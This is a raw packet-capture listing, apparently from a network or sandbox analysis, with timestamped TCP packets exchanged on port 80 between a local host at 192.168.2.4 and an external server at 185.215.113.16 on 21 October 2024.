Oct 21, 2024 10:46:23.787554026 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.787559032 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.787566900 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.787576914 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.787586927 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.787587881 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.787597895 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.787610054 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.787619114 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.787619114 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.787641048 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.787657022 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:24.438371897 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:24.631047964 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:24.635971069 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:24.919622898 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:24.919644117 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:24.919652939 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:24.919665098 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:24.919699907 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:24.919707060 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:24.919712067 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:24.919723034 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:24.919734001 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:24.919734955 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:24.919753075 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:24.919770002 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:24.919790983 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:24.919801950 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:24.919811964 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:24.919822931 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:24.919837952 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:24.919840097 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:24.919852972 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:24.919853926 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:24.919924021 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:24.920867920 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:24.921022892 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:24.921039104 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:24.921051025 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:24.921061993 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:24.921072960 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:24.921082973 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:24.921087027 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:24.921097040 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:24.921103954 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:24.921109915 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:24.921120882 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:24.921140909 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:24.921143055 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:24.921155930 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:24.921164989 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:24.921170950 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:24.921176910 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:24.921185970 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:24.921185970 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:24.921197891 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:24.921210051 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:24.921212912 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:24.921221018 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:24.921231985 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:24.921236038 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:24.921245098 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:24.921245098 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:24.921272039 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:24.921304941 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:24.921317101 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:24.921325922 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:24.921336889 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:24.921348095 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:24.921354055 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:24.921361923 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:24.921374083 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:24.921380043 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:24.921382904 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:24.921392918 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:24.921402931 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:24.921413898 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:24.921417952 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:24.921425104 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:24.921435118 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:24.921446085 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:24.921452045 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:24.921457052 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:24.921468973 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:24.921469927 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:24.921482086 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:24.921494007 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:24.921500921 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:24.921504974 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:24.921514988 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:24.921531916 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:24.921540022 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:24.921542883 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:24.921555042 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:24.921566963 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:24.921577930 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:24.921578884 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:24.921590090 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:24.921601057 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:24.921603918 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:24.921612978 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:24.921618938 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:24.921623945 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:24.921634912 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:24.921646118 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:24.921648979 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:24.921669006 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:24.921684980 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:24.921684980 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:24.921696901 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:24.921706915 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:24.921717882 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:24.921729088 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:24.921740055 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:24.921746969 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:24.921751976 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:24.921762943 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:24.921772003 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:24.921773911 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:24.921787024 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:24.921797037 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:24.921807051 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:24.921816111 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:24.921818972 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:24.921829939 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:24.921832085 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:24.921844006 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:24.921854973 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:24.921855927 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:24.921868086 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:24.921880960 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:24.921884060 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:24.921892881 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:24.921905041 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:24.921915054 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:24.921915054 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:24.921937943 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:24.921947956 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:24.921964884 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:24.921974897 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:24.921983957 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:24.921993971 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:24.922010899 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:24.922019005 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:24.922020912 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:24.922034025 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:24.922043085 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:24.922043085 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:24.922055006 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:24.922061920 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:24.922066927 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:24.922077894 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:24.922087908 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:24.922091961 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:24.922107935 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:24.922110081 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:24.922122002 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:24.922132015 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:24.922132969 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:24.922143936 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:24.922152996 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:24.922157049 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:24.922168016 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:24.922179937 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:24.922182083 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:24.922193050 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:24.922204018 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:24.922208071 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:24.922215939 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:24.922224998 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:24.922231913 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:24.922235012 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:24.922245979 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:24.922254086 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:24.922265053 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:24.922452927 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.039490938 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.039534092 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.039550066 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.039608955 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.039619923 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.039629936 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.039632082 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.039640903 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.039663076 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.039669037 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.039674997 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.039688110 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.039697886 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.039711952 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.039712906 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.039736986 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.039757967 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.039777994 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.039789915 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.039799929 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.039809942 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.039822102 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.039841890 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.039849043 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.039860964 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.039865971 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.039870977 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.039882898 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.039892912 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.039896011 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.039902925 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.039905071 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.039921999 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.039933920 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.039935112 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.039944887 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.039956093 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.039956093 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.039968014 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.039988995 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.039992094 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.039999962 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.040010929 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.040014982 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.040021896 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.040034056 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.040038109 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.040045023 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.040055990 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.040061951 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.040070057 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.040077925 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.040081978 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.040110111 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.040260077 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.040345907 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.040396929 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.040407896 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.040455103 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.040560961 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.040572882 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.040591002 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.040601969 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.040612936 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.040617943 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.040623903 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.040628910 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.040636063 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.040652037 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.040652990 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.040664911 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.040674925 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.040676117 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.040688038 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.040699005 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.040709972 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.040714979 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.040726900 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.040735006 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.040739059 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.040760040 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.040762901 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.040774107 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.040783882 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.040788889 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.040800095 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.040810108 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.040821075 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.040832996 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.040843010 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.040852070 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.040854931 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.040863991 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.040868044 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.040880919 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.040884972 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.040893078 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.040905952 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.040916920 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.040920973 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.040927887 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.040939093 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.040942907 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.040951967 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.040967941 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.040976048 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.040992022 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.040993929 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.041004896 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.041024923 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.041029930 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.041034937 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.041045904 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.041059017 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.041069984 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.041074991 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.041093111 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.041095972 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.041105032 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.041115999 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.041116953 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.041126966 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.041137934 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.041138887 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.041147947 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.041160107 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.041166067 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.041169882 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.041187048 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.041197062 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.041204929 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.041208982 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.041230917 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.041237116 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.041240931 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.041254997 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.041268110 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.041279078 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.041289091 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.041290998 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.041300058 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.041312933 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.041320086 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.041321039 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.041321993 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.041335106 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.041353941 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.041357994 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.041368008 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.041369915 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.041378975 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.041390896 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.041402102 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.041409016 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:25.041414022 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:25.041424036 CEST	80	49745	185.215.113.16	192.168.2.4
